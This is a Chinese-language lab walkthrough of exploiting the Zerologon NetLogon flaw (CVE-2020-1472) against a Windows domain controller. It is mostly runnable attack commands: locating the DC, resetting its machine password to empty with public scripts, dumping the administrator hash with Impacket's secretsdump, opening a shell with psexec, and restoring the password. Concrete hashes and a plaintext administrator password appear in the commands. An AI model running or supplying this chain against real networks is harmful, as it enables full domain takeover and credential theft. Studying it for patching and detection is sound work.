0x01 概述
2020年8月12日,阿里云应急响应中心监测到微软发布补丁修复了NetLogon权限提升漏洞(CVE-2020-1472),CVSS评分10,官方评级严重。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行相应代码或者程序。
此漏洞用于域控提权,完整利用此漏洞域控需开启135和445端口。
此漏洞的所有脚本用python3.7不会存在报错。
0x02 检测漏洞是否存在
-
如果该机器同时开放53,135,445的话,很大概率就是域控
-
如果知道域名的话,可以尝试通过dns查询
Linux下命令有
dig 域名 ns
dig _ldap._tcp.域名 srv
Windows下命令有
nslookup –qt=ns 域名
Nslookup -type=SRV _ldap._tcp.域名
-
如果我们控制了一台域成员机器,可以直接查询。
-
net time /domainnet group "Domain controllers" /domain dsquery server -o rdnadfind -sc dclistNltest /dclist:域名
脚本地址:https://github.com/SecuraBV/CVE-2020-1472
#python zerologon_tester.py 域控主机名 域控主机ip
python zerologon_tester.py ad01 192.168.85.129
出现success证明漏洞存在。
0x03 置空域控哈希
脚本地址:https://github.com/0xkami/CVE-2020-1472
#python 2.py 域控主机名 域控主机名$ 域控主机ip
python 2.py ad01 ad01$ 192.168.85.129
挂socks5代理
proxychains4 -q python 2.py ad01 ad01$ 192.168.85.129
0x04 导出域内哈希并连接域控
脚本地址:https://github.com/SecureAuthCorp/impacket
Impacket是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。
这里使用examples文件夹下的secretsdump.py和psexec.py
使用空哈希导出administrator用户哈希
#python secretsdump.py "域名/域用户主机名"@域用户ip地址 -hashes 空值的哈希 -just-dc-user "administrator用户名"
python secretsdump.py "ka/ad01$"@192.168.85.129 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc-user "administrator"
连接域控
#python psexec.py 域名/administrator用户@域ip地址 -hashes 导出的administrator用户的哈希
python psexec.py ka/administrator@192.168.85.129 -hashes aad3b435b51404eeaad3b435b51404ee:7ecffff0c354887607a14bad0f88bb1
0x05 恢复域控哈希
使用zerologon底下的reinstall_original_pw.py再打一次,计算密码的时候使用空密码的hash去结算session_key。直接使用机器账号的原始NTLM
哈希还原。
脚本地址:https://github.com/risksense/zerologon
python reinstall_original_pw.py ad01 192.168.85.129 d0aeb0472d4400ec08b2f9fe8ed17655
查看发现ad的密码已经恢复了
python secretsdump.py ka/administrator:1qaz@WSX3edc@192.168.85.129 -just-dc-user "ad01$"
参考文章:https://xie1997.blog.csdn.net/article/details/109030009
https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ